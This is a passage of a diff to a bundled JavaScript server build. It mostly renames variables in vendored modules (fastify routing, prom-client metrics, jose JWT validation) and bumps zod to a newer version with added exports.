tree, prefix + child.prefix, options); } } - if (node.parametricChildren) { - for (const child of Object.values(node.parametricChildren)) { + if (node2.parametricChildren) { + for (const child of Object.values(node2.parametricChildren)) { const childPrefix = Array.from(child.nodePaths).join("|"); buildObjectTree(child, tree, prefix + childPrefix, options); } } - if (node.wildcardChild) { - buildObjectTree(node.wildcardChild, tree, "*", options); + if (node2.wildcardChild) { + buildObjectTree(node2.wildcardChild, tree, "*", options); } } function prettyPrintTree(root, options) { @@ -43182,14 +43182,14 @@ var require_node = __commonJS({ this.staticChildrenCharCodes = []; this.staticChildrenNodes = []; } - setStaticChild(label, node) { + setStaticChild(label, node2) { const charCode = label.charCodeAt(0); const index2 = this.staticChildrenCharCodes.indexOf(charCode); if (index2 === -1) { this.staticChildrenCharCodes.push(charCode); - this.staticChildrenNodes.push(node); + this.staticChildrenNodes.push(node2); } else { - this.staticChildrenNodes[index2] = node; + this.staticChildrenNodes[index2] = node2; } } findStaticMatchingChild(path, pathIndex) { @@ -43232,9 +43232,9 @@ var require_node = __commonJS({ } return staticChild.createStaticChild(path.slice(i)); } - const node = new StaticNode(path); - this.setStaticChild(path.charAt(0), node); - return node; + const node2 = new StaticNode(path); + this.setStaticChild(path.charAt(0), node2); + return node2; } }; var StaticNode = class _StaticNode extends ParentNode { @@ -43294,13 +43294,13 @@ var require_node = __commonJS({ return staticNode; } getNextNode(path, pathIndex, nodeStack, paramsCount) { - let node = this.findStaticMatchingChild(path, pathIndex); + let node2 = this.findStaticMatchingChild(path, pathIndex); let parametricBrotherNodeIndex = 0; - if (node === null) { + if (node2 === null) { if (this.parametricChildren.length === 0) { return this.wildcardChild; } - node = this.parametricChildren[0]; + node2 = this.parametricChildren[0]; parametricBrotherNodeIndex = 1; } if (this.wildcardChild !== null) { @@ -43317,7 +43317,7 @@ var require_node = __commonJS({ brotherNode: this.parametricChildren[i] }); } - return node; + return node2; } _compilePrefixMatch() { if (this.prefix.length === 1) { @@ -44242,7 +44242,7 @@ var require_find_my_way = __commonJS({ path = sanitizedUrl.path; querystring2 = sanitizedUrl.querystring; shouldDecodeParam = sanitizedUrl.shouldDecodeParam; - } catch (error51) { + } catch (error62) { return this._onBadUrl(path); } if (this.ignoreTrailingSlash) { @@ -44270,8 +44270,8 @@ var require_find_my_way = __commonJS({ }; } } - let node = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); - if (node === null) { + let node2 = currentNode.getNextNode(path, pathIndex, brothersNodesStack, params.length); + if (node2 === null) { if (brothersNodesStack.length === 0) { if (maxParamLengthExceeded && this.onMaxParamLength) { return this._onMaxParamLength(originPath); @@ -44281,9 +44281,9 @@ var require_find_my_way = __commonJS({ const brotherNodeState = brothersNodesStack.pop(); pathIndex = brotherNodeState.brotherPathIndex; params.splice(brotherNodeState.paramsCount); - node = brotherNodeState.brotherNode; + node2 = brotherNodeState.brotherNode; } - currentNode = node; + currentNode = node2; while (true) { if (currentNode.kind === NODE_TYPES.STATIC) { pathIndex += currentNode.prefix.length; @@ -44479,7 +44479,7 @@ var require_find_my_way = __commonJS({ if (parsed.protocol !== `${scheme}:` || parsed.host.length === 0) { return null; } - } catch (error51) { + } catch (error62) { return null; } if (authorityEnd === url2.length) { @@ -44880,14 +44880,14 @@ var require_route = __commonJS({ const hasHEADHandler = headHandler !== null; try { router.on(opts.method, opts.url, { constraints }, routeHandler, context2); - } catch (error51) { + } catch (error62) { if (!context2[kRouteByFastify]) { const methods = Array.isArray(opts.method) ? opts.method : [opts.method]; - const isDuplicatedRoute = methods.some((method) => error51.message.includes(`Method '${method}' already declared for route`)); + const isDuplicatedRoute = methods.some((method) => error62.message.includes(`Method '${method}' already declared for route`)); if (isDuplicatedRoute) { throw new FST_ERR_DUPLICATED_ROUTE(opts.method, opts.url); } - throw error51; + throw error62; } } this.after((notHandledErr, done) => { @@ -44924,16 +44924,16 @@ var require_route = __commonJS({ opts.validatorCompiler || schemaController.validatorCompiler, isCustom ); - } catch (error51) { - throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_VALIDATION_BUILD(opts.method, url2, error62.message); } if (opts.schema.response && !opts.serializerCompiler) { schemaController.setupSerializer(this[kOptions]); } try { compileSchemasForSerialization(context2, opts.serializerCompiler || schemaController.serializerCompiler); - } catch (error51) { - throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error51.message); + } catch (error62) { + throw new FST_ERR_SCH_SERIALIZATION_BUILD(opts.method, url2, error62.message); } } }); @@ -45906,12 +45906,12 @@ var require_request2 = __commonJS({ } util.inherits(Request, Readable); util.inherits(CustomRequest, Request); - Request.prototype.destroy = function(error51) { + Request.prototype.destroy = function(error62) { if (this.destroyed || this._lightMyRequest.isDone) return; this.destroyed = true; - if (error51) { + if (error62) { this._error = true; - process.nextTick(() => this.emit("error", error51)); + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -45998,42 +45998,42 @@ var require_set_cookie = __commonJS({ } return { name, value }; } - function parse4(input, options) { + function parse4(input2, options) { options = options ? Object.assign({}, defaultParseOptions, options) : defaultParseOptions; - if (!input) { + if (!input2) { if (!options.map) { return []; } else { return createNullObj(); } } - if (input.headers) { - if (typeof input.headers.getSetCookie === "function") { - input = input.headers.getSetCookie(); - } else if (input.headers["set-cookie"]) { - input = input.headers["set-cookie"]; + if (input2.headers) { + if (typeof input2.headers.getSetCookie === "function") { + input2 = input2.headers.getSetCookie(); + } else if (input2.headers["set-cookie"]) { + input2 = input2.headers["set-cookie"]; } else { - var sch = input.headers[Object.keys(input.headers).find(function(key) { + var sch = input2.headers[Object.keys(input2.headers).find(function(key) { return key.toLowerCase() === "set-cookie"; })]; - if (!sch && input.headers.cookie && !options.silent) { + if (!sch && input2.headers.cookie && !options.silent) { console.warn( "Warning: set-cookie-parser appears to have been called on a request object. It is designed to parse Set-Cookie headers from responses, not Cookie headers from requests. Set the option {silent: true} to suppress this warning." ); } - input = sch; + input2 = sch; } } - if (!Array.isArray(input)) { - input = [input]; + if (!Array.isArray(input2)) { + input2 = [input2]; } if (!options.map) { - return input.filter(isNonEmptyString).map(function(str) { + return input2.filter(isNonEmptyString).map(function(str) { return parseString(str, options); }).filter(Boolean); } else { var cookies = createNullObj(); - return input.filter(isNonEmptyString).reduce(function(cookies2, str) { + return input2.filter(isNonEmptyString).reduce(function(cookies2, str) { var cookie = parseString(str, options); if (cookie && !isForbiddenKey(cookie.name)) { cookies2[cookie.name] = cookie; @@ -46214,11 +46214,11 @@ var require_response = __commonJS({ this.emit("finish"); this.destroy(); }; - Response.prototype.destroy = function(error51) { + Response.prototype.destroy = function(error62) { if (this.destroyed) return; this.destroyed = true; - if (error51) { - process.nextTick(() => this.emit("error", error51)); + if (error62) { + process.nextTick(() => this.emit("error", error62)); } process.nextTick(() => this.emit("close")); }; @@ -47709,12 +47709,12 @@ var require_fastify = __commonJS({ } if (fastify2[kState].started) { if (fastify2[kState].closing) { - const error51 = new FST_ERR_REOPENED_CLOSE_SERVER(); + const error62 = new FST_ERR_REOPENED_CLOSE_SERVER(); if (cb) { - cb(error51); + cb(error62); return; } else { - return Promise.reject(error51); + return Promise.reject(error62); } } return lightMyRequest(httpHandler, opts, cb); @@ -49781,28 +49781,28 @@ var require_rbtree = __commonJS({ var gp = null; var ggp = head; var p = null; - var node = this._root; + var node2 = this._root; ggp.right = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret2 = true; this.size++; - } else if (is_red(node.left) && is_red(node.right)) { - node.red = true; - node.left.red = false; - node.right.red = false; + } else if (is_red(node2.left) && is_red(node2.right)) { + node2.red = true; + node2.left.red = false; + node2.right.red = false; } - if (is_red(node) && is_red(p)) { + if (is_red(node2) && is_red(p)) { var dir2 = ggp.right === gp; - if (node === p.get_child(last)) { + if (node2 === p.get_child(last)) { ggp.set_child(dir2, single_rotate(gp, !last)); } else { ggp.set_child(dir2, double_rotate(gp, !last)); } } - var cmp = this._comparator(node.data, data); + var cmp = this._comparator(node2.data, data); if (cmp === 0) { break; } @@ -49812,8 +49812,8 @@ var require_rbtree = __commonJS({ ggp = gp; } gp = p; - p = node; - node = node.get_child(dir); + p = node2; + node2 = node2.get_child(dir); } this._root = head.right; } @@ -49825,34 +49825,34 @@ var require_rbtree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var gp = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { + while (node2.get_child(dir) !== null) { var last = dir; gp = p; - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } - if (!is_red(node) && !is_red(node.get_child(dir))) { - if (is_red(node.get_child(!dir))) { - var sr = single_rotate(node, dir); + if (!is_red(node2) && !is_red(node2.get_child(dir))) { + if (is_red(node2.get_child(!dir))) { + var sr = single_rotate(node2, dir); p.set_child(last, sr); p = sr; - } else if (!is_red(node.get_child(!dir))) { + } else if (!is_red(node2.get_child(!dir))) { var sibling = p.get_child(!last); if (sibling !== null) { if (!is_red(sibling.get_child(!last)) && !is_red(sibling.get_child(last))) { p.red = false; sibling.red = true; - node.red = true; + node2.red = true; } else { var dir2 = gp.right === p; if (is_red(sibling.get_child(last))) { @@ -49862,7 +49862,7 @@ var require_rbtree = __commonJS({ } var gpc = gp.get_child(dir2); gpc.red = true; - node.red = true; + node2.red = true; gpc.left.red = false; gpc.right.red = false; } @@ -49871,8 +49871,8 @@ var require_rbtree = __commonJS({ } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this.size--; } this._root = head.right; @@ -49881,8 +49881,8 @@ var require_rbtree = __commonJS({ } return found !== null; }; - function is_red(node) { - return node !== null && node.red; + function is_red(node2) { + return node2 !== null && node2.red; } function single_rotate(root, dir) { var save = root.get_child(!dir); @@ -49933,21 +49933,21 @@ var require_bintree = __commonJS({ } var dir = 0; var p = null; - var node = this._root; + var node2 = this._root; while (true) { - if (node === null) { - node = new Node(data); - p.set_child(dir, node); + if (node2 === null) { + node2 = new Node(data); + p.set_child(dir, node2); ret = true; this.size++; return true; } - if (this._comparator(node.data, data) === 0) { + if (this._comparator(node2.data, data) === 0) { return false; } - dir = this._comparator(node.data, data) < 0; - p = node; - node = node.get_child(dir); + dir = this._comparator(node2.data, data) < 0; + p = node2; + node2 = node2.get_child(dir); } }; BinTree.prototype.remove = function(data) { @@ -49955,23 +49955,23 @@ var require_bintree = __commonJS({ return false; } var head = new Node(void 0); - var node = head; - node.right = this._root; + var node2 = head; + node2.right = this._root; var p = null; var found = null; var dir = 1; - while (node.get_child(dir) !== null) { - p = node; - node = node.get_child(dir); - var cmp = this._comparator(data, node.data); + while (node2.get_child(dir) !== null) { + p = node2; + node2 = node2.get_child(dir); + var cmp = this._comparator(data, node2.data); dir = cmp > 0; if (cmp === 0) { - found = node; + found = node2; } } if (found !== null) { - found.data = node.data; - p.set_child(p.right === node, node.get_child(node.left === null)); + found.data = node2.data; + p.set_child(p.right === node2, node2.get_child(node2.left === null)); this._root = head.right; this.size--; return true; @@ -52282,8 +52282,8 @@ var require_osMemoryHeapLinux = __commonJS({ var PROCESS_RESIDENT_MEMORY = "process_resident_memory_bytes"; var PROCESS_VIRTUAL_MEMORY = "process_virtual_memory_bytes"; var PROCESS_HEAP = "process_heap_bytes"; - function structureOutput(input) { - return input.split("\n").reduce((acc, string4) => { + function structureOutput(input2) { + return input2.split("\n").reduce((acc, string4) => { if (!values2.some((value2) => string4.startsWith(value2))) { return acc; } @@ -52313,8 +52313,8 @@ var require_osMemoryHeapLinux = __commonJS({ residentMemGauge.set(labels, structuredOutput.VmRSS); virtualMemGauge.set(labels, structuredOutput.VmSize); heapSizeMemGauge.set(labels, structuredOutput.VmData); - } catch (error51) { - debug("failed to collect Linux memory metrics: %o", error51); + } catch (error62) { + debug("failed to collect Linux memory metrics: %o", error62); } } }); @@ -52348,8 +52348,8 @@ var require_safeRss = __commonJS({ function safeRss() { try { return process.memoryUsage.rss(); - } catch (error51) { - debug("process.memoryUsage.rss() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage.rss() failed: %o", error62); return; } } @@ -52397,11 +52397,11 @@ var require_processOpenFileDescriptors = __commonJS({ var { debuglog } = __require("node:util"); var Gauge = require_gauge(); var fs2 = __require("fs"); - var process3 = __require("process"); + var process2 = __require("process"); var debug = debuglog("prom:metrics:process-open-fds"); var PROCESS_OPEN_FDS = "process_open_fds"; module.exports = (registry2, config2 = {}) => { - if (process3.platform !== "linux") { + if (process2.platform !== "linux") { return; } const namePrefix = config2.prefix ? config2.prefix : ""; @@ -52416,8 +52416,8 @@ var require_processOpenFileDescriptors = __commonJS({ try { const fds = fs2.readdirSync("/proc/self/fd"); this.set(labels, fds.length - 1); - } catch (error51) { - debug("failed to collect open file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect open file descriptors: %o", error62); } } }); @@ -52448,8 +52448,8 @@ var require_processMaxFileDescriptors = __commonJS({ break; } } - } catch (error51) { - debug("failed to collect maximum file descriptors: %o", error51); + } catch (error62) { + debug("failed to collect maximum file descriptors: %o", error62); return; } } @@ -52481,8 +52481,8 @@ var require_eventLoopLag = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_EVENTLOOP_LAG = "nodejs_eventloop_lag_seconds"; var NODEJS_EVENTLOOP_LAG_MIN = "nodejs_eventloop_lag_min_seconds"; @@ -52869,8 +52869,8 @@ var require_safeMemoryUsage = __commonJS({ function safeMemoryUsage() { try { return process.memoryUsage(); - } catch (error51) { - debug("process.memoryUsage() failed: %o", error51); + } catch (error62) { + debug("process.memoryUsage() failed: %o", error62); return; } } @@ -53029,8 +53029,8 @@ var require_gc = __commonJS({ var perf_hooks; try { perf_hooks = __require("perf_hooks"); - } catch (error51) { - debug("perf_hooks module is unavailable: %o", error51); + } catch (error62) { + debug("perf_hooks module is unavailable: %o", error62); } var NODEJS_GC_DURATION_SECONDS = "nodejs_gc_duration_seconds"; var DEFAULT_GC_DURATION_BUCKETS = [1e-3, 0.01, 0.1, 1, 2, 5]; @@ -53334,15 +53334,15 @@ var require_cluster = __commonJS({ metrics: metrics2 }); } - } catch (error51) { - debug("Error sending to primary", error51); + } catch (error62) { + debug("Error sending to primary", error62); if (!process.connected) { debug("Connection to primary lost."); } else { process.send({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } @@ -53398,8 +53398,8 @@ var require_cluster = __commonJS({ const metrics2 = [historicMetrics, ...event.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", worker.id); - } catch (error51) { - console.error("error collecting shutdown metrics", worker.id, error51); + } catch (error62) { + console.error("error collecting shutdown metrics", worker.id, error62); } finally { workers.delete(worker.id); } @@ -53673,12 +53673,12 @@ var require_worker = __commonJS({ threadId, metrics: metrics2 }); - } catch (error51) { - debug(error51); + } catch (error62) { + debug(error62); channel.postMessage({ type: GET_METRICS_RES, requestId: message2.requestId, - error: error51.message + error: error62.message }); } } else { @@ -53756,11 +53756,11 @@ var require_worker = __commonJS({ const metrics2 = [historicMetrics, ...workerMessage.metrics]; historicMetrics = Registry2.aggregate(metrics2).getMetricsAsArray(); debug("collected metrics data from", workerMessage.threadId); - } catch (error51) { + } catch (error62) { console.error( "error collecting shutdown metrics", workerMessage.threadId, - error51 + error62 ); } finally { workers.delete(workerName); @@ -53898,8 +53898,8 @@ import { createHash, randomBytes, randomUUID, timingSafeEqual } from "node:crypt function newUuid() { return randomUUID(); } -function sha256Hex(input) { - return createHash("sha256").update(input, "utf8").digest("hex"); +function sha256Hex(input2) { + return createHash("sha256").update(input2, "utf8").digest("hex"); } function encodeCursor(value) { return Buffer.from(JSON.stringify(value), "utf8").toString("base64url"); @@ -54070,8 +54070,8 @@ var JWTClaimValidationFailed = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JWTExpired = class extends JOSEError { @@ -54080,8 +54080,8 @@ var JWTExpired = class extends JOSEError { claim; reason; payload; - constructor(message2, payload, claim = "unspecified", reason = "unspecified") { - super(message2, { cause: { claim, reason, payload } }), this.claim = claim, this.reason = reason, this.payload = payload; + constructor(message2, payload, claim2 = "unspecified", reason = "unspecified") { + super(message2, { cause: { claim: claim2, reason, payload } }), this.claim = claim2, this.reason = reason, this.payload = payload; } }; var JOSEAlgNotAllowed = class extends JOSEError { @@ -54152,23 +54152,23 @@ var JWSSignatureVerificationFailed = class extends JOSEError { // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/util/base64url.js var invalid = "The input to be decoded is not correctly encoded."; -function decode(input) { +function decode(input2) { try { - return decodeBase64(typeof input == "string" ? input : decoder.decode(input), true); + return decodeBase64(typeof input2 == "string" ? input2 : decoder.decode(input2), true); } catch (cause) { throw new TypeError(invalid, { cause }); } } // node_modules/.pnpm/jose@6.2.12/node_modules/jose/dist/webapi/lib/validate.js -function isObject(input) { - if (typeof input != "object" || input === null || Object.prototype.toString.call(input) !== "[object Object]") +function isObject(input2) { + if (typeof input2 != "object" || input2 === null || Object.prototype.toString.call(input2) !== "[object Object]") return false; - const prototype = Object.getPrototypeOf(input); + const prototype = Object.getPrototypeOf(input2); return prototype === null || Object.getPrototypeOf(prototype) === null; } -function isJwkSet(input) { - return isObject(input) && Array.isArray(input.keys) && Array.from(input.keys).every(isObject); +function isJwkSet(input2) { + return isObject(input2) && Array.isArray(input2.keys) && Array.from(input2.keys).every(isObject); } function isDisjoint(...headers) { const parameters = /* @__PURE__ */ new Set(); @@ -54217,7 +54217,7 @@ function validateCrit(Err, recognizedDefault, recognizedOption, protectedHeader, throw new Err('"crit" (Critical) Header Parameter MUST be integrity protected'); if (!protectedHeader || protectedHeader.crit === void 0) return []; - if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input) => typeof input != "string" || input.length === 0)) + if (!Array.isArray(protectedHeader.crit) || protectedHeader.crit.length === 0 || protectedHeader.crit.some((input2) => typeof input2 != "string" || input2.length === 0)) throw new Err('"crit" (Critical) Header Parameter MUST be an array of non-empty strings when present'); const recognized = recognizedOption === void 0 ? recognizedDefault : { __proto__: null, ...recognizedOption, ...recognizedDefault }; for (const parameter of protectedHeader.crit) { @@ -54523,26 +54523,26 @@ function secs(str) { const value = parseFloat(matched[2]), numericDate2 = Math.round(value * multipliers[matched[3][0].toLowerCase()]); return Number.isFinite(numericDate2) || invalidDuration(), matched[1] === "-" || matched[4] === "ago" ? -numericDate2 : numericDate2; } -function validateInput(label, input) { - if (!Number.isFinite(input)) +function validateInput(label, input2) { + if (!Number.isFinite(input2)) throw new TypeError(`Invalid ${label} input`); - return input; + return input2; } var normalizeTyp = (value) => { const normalized = value.toLowerCase(); return value.includes("/") ? normalized : `application/${normalized}`; }; var checkAudiencePresence = (audPayload, audOption) => typeof audPayload == "string" ? audOption.includes(audPayload) : Array.isArray(audPayload) ? audOption.some((aud) => audPayload.includes(aud)) : false; -function validateNumericDate(payload, claim, required2 = false) { - const value = payload[claim]; +function validateNumericDate(payload, claim2, required2 = false) { + const value = payload[claim2]; if (!(value === void 0 && !required2)) { if (typeof value != "number") - throw new JWTClaimValidationFailed(`"${claim}" claim must be a number`, payload, claim, "invalid"); + throw new JWTClaimValidationFailed(`"${claim2}" claim must be a number`, payload, claim2, "invalid"); return value; } } -function unexpectedClaim(payload, claim) { - throw new JWTClaimValidationFailed(`unexpected "${claim}" claim value`, payload, claim, checkFailed); +function unexpectedClaim(payload, claim2) { + throw new JWTClaimValidationFailed(`unexpected "${claim2}" claim value`, payload, claim2, checkFailed); } function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { let payload; @@ -54557,9 +54557,9 @@ function validateClaimsSet(protectedHeader, encodedPayload, options = {}) { throw new JWTClaimValidationFailed('unexpected "typ" JWT header value', payload, "typ", checkFailed); const { requiredClaims = [], issuer, subject, audience, maxTokenAge } = options, presenceCheck = [...requiredClaims]; maxTokenAge !== void 0 && presenceCheck.push("iat"), audience !== void 0 && presenceCheck.push("aud"), subject !== void 0 && presenceCheck.push("sub"), issuer !== void 0 && presenceCheck.push("iss"); - for (const claim of new Set(presenceCheck.reverse())) - if (!Object.hasOwn(payload, claim)) - throw new JWTClaimValidationFailed(`missing required "${claim}" claim`, payload, claim, "missing"); + for (const claim2 of new Set(presenceCheck.reverse())) + if (!Object.hasOwn(payload, claim2)) + throw new JWTClaimValidationFailed(`missing required "${claim2}" claim`, payload, claim2, "missing"); issuer !== void 0 && !(Array.isArray(issuer) ? issuer : [issuer]).includes(payload.iss) && unexpectedClaim(payload, "iss"), subject !== void 0 && payload.sub !== subject && unexpectedClaim(payload, "sub"), audience !== void 0 && !checkAudiencePresence(payload.aud, typeof audience == "string" ? [audience] : audience) && unexpectedClaim(payload, "aud"); const { clockTolerance } = options; let tolerance = 0; @@ -54608,8 +54608,8 @@ async function importWithAlgCache(cache2, jwk, entry) { if (key.type !== "public") throw new JWKSInvalid("JSON Web Key Set members must be public keys"); return cached2[alg] = key, key; - }).catch((error51) => { - throw cached2[alg] === pending && delete cached2[alg], error51; + }).catch((error62) => { + throw cached2[alg] === pending && delete cached2[alg], error62; }); cached2[alg] = pending; } @@ -54635,14 +54635,14 @@ function createLocalJWKSet(jwks) { if (!length) throw new JWKSNoMatchingKey(); if (length !== 1) { - const error51 = new JWKSMultipleMatchingKeys(); - throw error51[Symbol.asyncIterator] = async function* () { + const error62 = new JWKSMultipleMatchingKeys(); + throw error62[Symbol.asyncIterator] = async function* () { for (const jwk2 of candidates) try { yield await importWithAlgCache(cached2, jwk2, entry); } catch { } - }, error51; + }, error62; } return importWithAlgCache(cached2, jwk, entry); }, "jwks", { @@ -54745,12 +54745,13 @@ function createRemoteJWKSet(url2, options) { }); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/classic/external.js var external_exports = {}; __export(external_exports, { $brand: () => $brand, $input: () => $input, $output: () => $output, + INVALID: () => INVALID, NEVER: () => NEVER, TimePrecision: () => TimePrecision, ZodAny: () => ZodAny, @@ -54766,6 +54767,9 @@ __export(external_exports, { ZodCUID2: () => ZodCUID2, ZodCatch: () => ZodCatch, ZodCodec: () => ZodCodec, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, + ZodCreditCard: () => ZodCreditCard, ZodCustom: () => ZodCustom, ZodCustomStringFormat: () => ZodCustomStringFormat, ZodDate: () => ZodDate, @@ -54781,12 +54785,14 @@ __export(external_exports, { ZodFirstPartyTypeKind: () => ZodFirstPartyTypeKind, ZodFunction: () => ZodFunction, ZodGUID: () => ZodGUID, + ZodIBAN: () => ZodIBAN, ZodIPv4: () => ZodIPv4, ZodIPv6: () => ZodIPv6, ZodISODate: () => ZodISODate, ZodISODateTime: () => ZodISODateTime, ZodISODuration: () => ZodISODuration, ZodISOTime: () => ZodISOTime, + ZodInstanceOf: () => ZodInstanceOf, ZodIntersection: () => ZodIntersection, ZodIssueCode: () => ZodIssueCode, ZodJWT: () => ZodJWT, @@ -54846,14 +54852,18 @@ __export(external_exports, { clone: () => clone, codec: () => codec, coerce: () => coerce_exports, + compile: () => compile, config: () => config, core: () => core_exports2, + creditCard: () => creditCard2, cuid: () => cuid3, cuid2: () => cuid22, + currencyCode: () => currencyCode2, custom: () => custom, - date: () => date3, + date: () => date2, decode: () => decode3, decodeAsync: () => decodeAsync2, + deepPartial: () => deepPartial, describe: () => describe2, discriminatedUnion: () => discriminatedUnion, e164: () => e1642, @@ -54871,6 +54881,7 @@ __export(external_exports, { formatError: () => formatError, fromJSONSchema: () => fromJSONSchema, function: () => _function, + getDiscriminatedOption: () => getDiscriminatedOption, getErrorMap: () => getErrorMap, globalRegistry: () => globalRegistry, gt: () => _gt, @@ -54880,7 +54891,9 @@ __export(external_exports, { hex: () => hex2, hostname: () => hostname2, httpUrl: () => httpUrl, + iban: () => iban2, includes: () => _includes, + input: () => input, instanceof: () => _instanceof, int: () => int, int32: () => int32, @@ -54907,6 +54920,7 @@ __export(external_exports, { map: () => map, maxLength: () => _maxLength, maxSize: () => _maxSize, + memoizer: () => memoizer, meta: () => meta2, mime: () => _mime, minLength: () => _minLength, @@ -54927,6 +54941,7 @@ __export(external_exports, { number: () => number2, object: () => object, optional: () => optional, + output: () => output, overwrite: () => _overwrite, parse: () => parse2, parseAsync: () => parseAsync2, @@ -54937,6 +54952,7 @@ __export(external_exports, { preprocess: () => preprocess, prettifyError: () => prettifyError, promise: () => promise, + properties: () => _properties, property: () => _property, readonly: () => readonly, record: () => record, @@ -54966,6 +54982,7 @@ __export(external_exports, { toJSONSchema: () => toJSONSchema, toLowerCase: () => _toLowerCase, toUpperCase: () => _toUpperCase, + toZod: () => toZod, transform: () => transform, treeifyError: () => treeifyError, trim: () => _trim, @@ -54983,12 +55000,15 @@ __export(external_exports, { uuidv4: () => uuidv4, uuidv6: () => uuidv6, uuidv7: () => uuidv7, + validate: () => validate, + validateAsync: () => validateAsync, void: () => _void2, + withParser: () => withParser, xid: () => xid2, xor: () => xor }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/index.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/index.js var core_exports2 = {}; __export(core_exports2, { $ZodAny: () => $ZodAny, @@ -55020,6 +55040,7 @@ __export(core_exports2, { $ZodCheckMultipleOf: () => $ZodCheckMultipleOf, $ZodCheckNumberFormat: () => $ZodCheckNumberFormat, $ZodCheckOverwrite: () => $ZodCheckOverwrite, + $ZodCheckProperties: () => $ZodCheckProperties, $ZodCheckProperty: () => $ZodCheckProperty, $ZodCheckRegex: () => $ZodCheckRegex, $ZodCheckSizeEquals: () => $ZodCheckSizeEquals, @@ -55027,8 +55048,10 @@ __export(core_exports2, { $ZodCheckStringFormat: () => $ZodCheckStringFormat, $ZodCheckUpperCase: () => $ZodCheckUpperCase, $ZodCodec: () => $ZodCodec, + $ZodCreditCard: () => $ZodCreditCard, $ZodCustom: () => $ZodCustom, $ZodCustomStringFormat: () => $ZodCustomStringFormat, + $ZodCyclicError: () => $ZodCyclicError, $ZodDate: () => $ZodDate, $ZodDefault: () => $ZodDefault, $ZodDiscriminatedUnion: () => $ZodDiscriminatedUnion, @@ -55042,6 +55065,7 @@ __export(core_exports2, { $ZodFile: () => $ZodFile, $ZodFunction: () => $ZodFunction, $ZodGUID: () => $ZodGUID, + $ZodIBAN: () => $ZodIBAN, $ZodIPv4: () => $ZodIPv4, $ZodIPv6: () => $ZodIPv6, $ZodISODate: () => $ZodISODate, @@ -55097,10 +55121,15 @@ __export(core_exports2, { $input: () => $input, $output: () => $output, Doc: () => Doc, + INVALID: () => INVALID, JSONSchema: () => json_schema_exports, JSONSchemaGenerator: () => JSONSchemaGenerator, NEVER: () => NEVER, TimePrecision: () => TimePrecision, + URL_BAD_FORMAT: () => URL_BAD_FORMAT, + URL_UNPARSEABLE: () => URL_UNPARSEABLE, + ZodCompileAsyncError: () => ZodCompileAsyncError, + ZodCompileUnsupportedError: () => ZodCompileUnsupportedError, _any: () => _any, _array: () => _array, _base64: () => _base64, @@ -55116,6 +55145,7 @@ __export(core_exports2, { _coercedDate: () => _coercedDate, _coercedNumber: () => _coercedNumber, _coercedString: () => _coercedString, + _creditCard: () => _creditCard, _cuid: () => _cuid, _cuid2: () => _cuid2, _custom: () => _custom, @@ -55137,6 +55167,7 @@ __export(core_exports2, { _gt: () => _gt, _gte: () => _gte, _guid: () => _guid, + _iban: () => _iban, _includes: () => _includes, _int: () => _int, _int32: () => _int32, @@ -55185,6 +55216,7 @@ __export(core_exports2, { _pipe: () => _pipe, _positive: () => _positive, _promise: () => _promise, + _properties: () => _properties, _property: () => _property, _readonly: () => _readonly, _record: () => _record, @@ -55227,7 +55259,12 @@ __export(core_exports2, { _void: () => _void, _xid: () => _xid, _xor: () => _xor, + base64Charset: () => base64Charset, + base64urlCharset: () => base64urlCharset, + canParseURL: () => canParseURL, clone: () => clone, + compile: () => compile, + compileFn: () => compileFn, config: () => config, createStandardJSONSchemaMethod: () => createStandardJSONSchemaMethod, createToJSONSchemaMethod: () => createToJSONSchemaMethod, @@ -55240,18 +55277,30 @@ __export(core_exports2, { finalize: () => finalize, flattenError: () => flattenError, formatError: () => formatError, + getDiscriminatedOption: () => getDiscriminatedOption, globalConfig: () => globalConfig, globalRegistry: () => globalRegistry, + handleUnrepresentable: () => handleUnrepresentable, initializeContext: () => initializeContext, + isBackEdge: () => isBackEdge, + isRecursiveSchema: () => isRecursiveSchema, isValidBase64: () => isValidBase64, isValidBase64URL: () => isValidBase64URL, + isValidCIDRv6: () => isValidCIDRv6, + isValidCreditCard: () => isValidCreditCard, + isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, 